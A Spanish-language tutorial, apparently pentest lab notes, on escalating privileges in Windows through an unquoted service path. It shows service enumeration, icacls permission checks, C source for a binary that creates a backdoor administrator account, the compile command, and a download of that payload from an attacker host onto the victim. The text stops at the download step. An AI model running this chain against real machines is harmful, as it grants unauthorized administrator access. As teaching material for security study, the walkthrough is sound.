Lo que ocurre en esta manera de escalar privilegios, es cuando la ruta de un servicio contiene algún espacio en el nombre de la ruta y no esta dentro de comillas, podemos abusar de ello, este sería el caso de una ruta de un servicio vulnerable
C:\Program Files\My Program\My Service\service.exe
Vemos que en Program Files, My Program, My Service, hay espacios y no está entre comillas, bien, para abusar de ello, debemos saber que el equipo, siempre que va a ejecutar un servicio, en la ruta lo busca de manera que busca un .exe en cada apartado de la ruta, hasta llegar al binario final correcto (service.exe), el equipo busca el archivo de esta manera.
C:\\Program.exe
C:\\Program Files\\My.exe
C:\\Program Files\\My Program\\My.exe
C:\\Program Files\\My Program\\My service\\service.exe
Para abusar de esto, es sencillo, simplemente debemos comprobar si en alguna ruta de las que tienen espacios tenemos permisos de escritura, para suplantar un binario.
En primer lugar, buscamos servicios corriendo o parados, hay dos formas de hacerlo, la segunda es más efectiva, pero es desde cmd.exe no powershell
PS C:\\Users\\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Name State PathName
---- ----- --------
...
GammaService Stopped C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe
...
C:\\Users\\steve> wmic service get name,pathname | findstr /i /v "C:\\Windows\\\\" | findstr /i /v """
Name PathName
...
GammaService C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe
Vemos que este servicio GammaService, su ruta C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe, tiene espacios de por medio.
Seguidamente, comprobamos que estamos capacitados de parar e inicar el servicio
PS C:\\Users\\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
PS C:\\Users\\steve> Stop-Service GammaService
Podemos hacerlo, ahora el siguiente paso es comprobar los permisos de escritura en las rutas, estas son las distintas formas que podriamos abusar de este servicio
C:\\Program.exe
C:\\Program Files\\Enterprise.exe
C:\\Program Files\\Enterprise Apps\\Current.exe
C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe
Pero no en todas tenemos permisos de escritura, vamos a comprobarlo
PS C:\\Users\\steve> icacls "C:\\"
C:\\ BUILTIN\\Administrators:(OI)(CI)(F)
NT AUTHORITY\\SYSTEM:(OI)(CI)(F)
BUILTIN\\Users:(OI)(CI)(RX)
NT AUTHORITY\\Authenticated Users:(OI)(CI)(IO)(M)
NT AUTHORITY\\Authenticated Users:(AD)
Mandatory Label\\High Mandatory Level:(OI)(NP)(IO)(NW)
Successfully processed 1 files; Failed processing 0 files
PS C:\\Users\\steve>icacls "C:\\Program Files"
C:\\Program Files NT SERVICE\\TrustedInstaller:(F)
NT SERVICE\\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\\SYSTEM:(M)
NT AUTHORITY\\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\\Administrators:(M)
BUILTIN\\Administrators:(OI)(CI)(IO)(F)
BUILTIN\\Users:(RX)
BUILTIN\\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
...
Successfully processed 1 files; Failed processing 0 files
PS C:\\Users\\steve> icacls "C:\\Program Files\\Enterprise Apps"
C:\\Program Files\\Enterprise Apps NT SERVICE\\TrustedInstaller:(CI)(F)
NT AUTHORITY\\SYSTEM:(OI)(CI)(F)
BUILTIN\\Administrators:(OI)(CI)(F)
BUILTIN\\Users:(OI)(CI)(RX,W)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
Despues de haber revisado las tres rutas, vemos que en C:\Program Files\Enterprise Apps\, tenemos permiso de escritura (W), por lo que podemos crear un archivo current.exe y será ejecutado.
Creamos el binario malicioso, lo compilamos y lo transferimos a la máquina víctima
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
PS C:\\Users\\steve> iwr -uri <http://192.168.119.3/adduser.exe> -Outfile Current.exe